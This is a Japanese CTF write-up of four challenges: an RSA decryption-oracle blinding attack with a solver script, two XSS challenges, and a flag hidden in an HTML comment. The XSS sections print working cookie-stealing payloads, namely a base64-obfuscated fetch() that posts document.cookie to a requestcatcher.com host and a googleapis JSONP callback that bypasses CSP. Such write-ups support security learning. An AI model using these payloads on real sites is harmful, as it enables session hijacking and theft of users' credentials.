[crypto] easy rsa
Every ctf needs RSA challenge :)
from Crypto.Util.number import getPrime, bytes_to_long import os p = getPrime(1024) q = getPrime(1024) n = p*q e = getPrime(512) d = pow(e, -1, (p-1)*(q-1)) flag = bytes_to_long(bytes(os.environ["FLAG"], "utf-8")) encrypted_flag = pow(flag, e, n) print("Flag ciphertext: ", encrypted_flag) for i in range(4): ciphertext = int(input("Enter ciphertext you want to decrypt: ")) if ciphertext <= 0 or ciphertext >= n: print("0 < ciphertext < n is required!") break if ciphertext == encrypted_flag: print("You serious?") break print("Your decrypted text: ", pow(ciphertext, d, n))
問題コードは簡潔。2ステップで問題を解く。
nの特定
3回分のリクエストを使って、nを特定する。2の累乗値を利用する。まず、a=2、b=22、c=24を送信して復元した値を取得する。
こうなります。これをうまく使うと以下のような関係式が立てられる。
しかし実際には、これらの計算結果はnを超えると「折り返し」が発生するため、
のような感じになるので、
となり、取得した値をうまく計算するとnの倍数が3つ得られます。これらのGCDを取ることでn、または、その倍数が得られる。
RSAの式をうまく使って計算を戻す
nの値を特定したら、RSAの式をうまく使うことで、計算を戻してフラグを復元する。結論から言うと、の復元をリクエストする。これにより
のような感じになりは既にステップ1で取得済みなので割ってやればフラグが手に入る。
ソルバ
ということで以下のソルバで解ける。
from ptrlib import * from Crypto.Util.number import long_to_bytes, inverse sock = remote("[redacted]", [redacted]) enc_flag = int(sock.recvline().split()[-1]) sock.sendlineafter("decrypt: ", str(2)) a_dec = int(sock.recvlineafter(b": ")) sock.sendlineafter("decrypt: ", str(4)) b_dec = int(sock.recvlineafter(b": ")) sock.sendlineafter("decrypt: ", str(16)) c_dec = int(sock.recvlineafter(b": ")) n_candidate1 = a_dec**2 - b_dec n_candidate2 = b_dec**2 - c_dec n_candidate3 = a_dec**4 - c_dec n = gcd(gcd(n_candidate1, n_candidate2), n_candidate3) blinded = (enc_flag * 2) % n sock.sendlineafter("decrypt: ", str(blinded)) blinded_dec = int(sock.recvlineafter(b": ")) r_inv = inverse(a_dec, n) flag_value = (blinded_dec * r_inv) % n flag = long_to_bytes(flag_value) print(flag)
[web] calc
just a calc app
ソースコード有り。
// bot.js import puppeteer from "puppeteer"; const FLAG = process.env.FLAG ?? "ping{FAKE}"; const isSafeSuffix = (s) => { return !s.includes("."); }; export const report = async (data) => { if (typeof data !== "string") { throw new Error("invalid data"); } if (!isSafeSuffix(data)) { throw new Error("invalid data"); } const browser = await puppeteer.launch({ headless: "new", args: [ "--disable-gpu", "--no-sandbox", "--js-flags=--noexpose_wasm,--jitless", ], executablePath: "/usr/bin/chromium-browser", }); const page = await browser.newPage(); await page.setCookie({ name: "FLAG", value: FLAG, domain: "localhost", path: "/", }); await page.goto(`http://localhost:3000/${data}`); await new Promise((resolve) => setTimeout(resolve, 1000)); await browser.close(); };
こんな感じでフラグを持ったbotがアクセスする。.
が入っていないかだけ検証している。あとは、XSSポイントだが単純なものがある。
fastify.get("/test", async (req, reply) => { reply.type("text/html").send(req.query?.html ?? "req query html empty"); });
ということで.
だけ使えないのでXSSして、という問題。
fetch('https://[yours].requestcatcher.com/test', { method: 'post', body: document.cookie });
こういうものを送れれば良いのだが.
が含まれているのでbase64を使って回避する。以下のようにやる。
<script>eval(atob('ZmV0Y2goJ2h0dHBzOi8vams1NDNqaWdkYWpza2Zhc2lzZmRqa2FzanJpc2VqaS5yZXF1ZXN0Y2F0Y2hlci5jb20vdGVzdCcsIHsgbWV0aG9kOiAncG9zdCcsIGJvZHk6IGRvY3VtZW50LmNvb2tpZSB9KTs='));</script>
あとは、様式に合わせて以下のようなURLをbotに踏ませればフラグが降ってくる。
test?html=%3Cscript%3Eeval%28atob%28%27ZmV0Y2goJ2h0dHBzOi8vams1NDNqaWdkYWpza2Zhc2lzZmRqa2FzanJpc2VqaS5yZXF1ZXN0Y2F0Y2hlci5jb20vdGVzdCcsIHsgbWV0aG9kOiAncG9zdCcsIGJvZHk6IGRvY3VtZW50LmNvb2tpZSB9KTs%3D%27%29%29%3B%3C%2Fscript%3E
[web] sprint-user
Try to log in as a KevinM user link: if this place is empty, ping admins
ソースコード無し。巡回するとコメントにフラグが埋め込んである。
<main> <!-- [redacted] --> <form action="/login" method="POST"> <label for="username">Username:</label> <input type="text" name="username" required /><br/> <label for="password">Password:</label> <input type="password" name="password" required /><br/> <input type="submit" value="Login" /> </form> </main>
[web] keyboard-lovers
The mechanical keyboards fan forum is a place where you can find lots of interesting information. However, some of them are hidden from regular users. Can you uncover it?
ソースコード有り。以下のようにadminbotに新規作成したキーボードのサイトを表示させることができる。
def approve_keyboard(keyboard_id): options = webdriver.ChromeOptions() options.add_argument('--headless') options.add_argument('--no-sandbox') options.add_argument('--disable-gpu') options.add_argument('--disable-extensions') driver = webdriver.Chrome(options=options) driver.get(f'http://localhost:5000/keyboard/{keyboard_id}') driver.add_cookie({'name': 'auth', 'value': get_my_key()}) driver.refresh() sleep(3) driver.find_element('id', 'approve_btn').click() sleep(6) driver.close()
ここを使ってXSSするのが問題の大部分。GET /keyboard/{keyboard_id}
部分は
@app.get('/keyboard/<int:keyboard_id>') def get_keyboard(keyboard_id): conn = sqlite3.connect('database.sqlite') cursor = conn.cursor() cursor.execute("SELECT * FROM keyboards WHERE ID = ?", (keyboard_id,)) keyboard = cursor.fetchone() if keyboard is None: return "Keyboard not found", 404 cursor.execute("SELECT * FROM ratings WHERE KEYBOARD_ID = ?", (keyboard_id,)) ratings = cursor.fetchall() result = { 'id': keyboard[0], 'name': keyboard[1], 'brand': keyboard[2], 'description': keyboard[3], 'rating': calc_rating(ratings, keyboard_id), 'approved': keyboard[4], } if not result['approved'] and not is_admin(request.cookies.get('auth')): return "Keyboard not found", 404 conn.close() return render_template('rate.html', keyboard=result, sudo=is_admin(request.cookies.get('auth')))
のような実装で、rate.htmlを見ると<p>> Description {{ keyboard.description|safe }}</p>
のようにdescriptionでXSSできそうになっている。しかし、
@app.after_request def add_header(response): response.headers['CONTENT-SECURITY-POLICY'] = "default-src 'none';"\ " script-src https://*.googleapis.com 'sha256-FlG9O9q1cgn5OYucapSvUz43B/tZq3UVDljeyRiVWvs='; " \ "style-src https://cdn.jsdelivr.net https://*.googleapis.com 'unsafe-inline'; "\ "img-src 'self'; " \ "connect-src 'self';" \ "font-src https://fonts.gstatic.com; " \ "form-action 'self'; block-all-mixed-content; " \ "upgrade-insecure-requests; " return response
のようにCSPがかかっているのでどうしようかなというのが難しいポイント。
弱点はscript-src https://*.googleapis.com
で、色々ググると以下のようにやればアラートが出せることが分かる。
<!-- https://github.com/Mehdi0x90/Web_Hacking/blob/main/CSP%20Bypass.md --> <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)" ></script>
これをガチャガチャ弄って、以下のようにやればcookieが抜ける。
<script src="https://www.googleapis.com/customsearch/v1?callback=window.open(`https://afsji34jkafsdjadkfjwrjwirjaekrasek.requestcatcher.com/get?${document.cookie}`);" ></script>
cookieが抜ければ、あとはそれを使えばフラグが手に入る。(非想定解な気がする)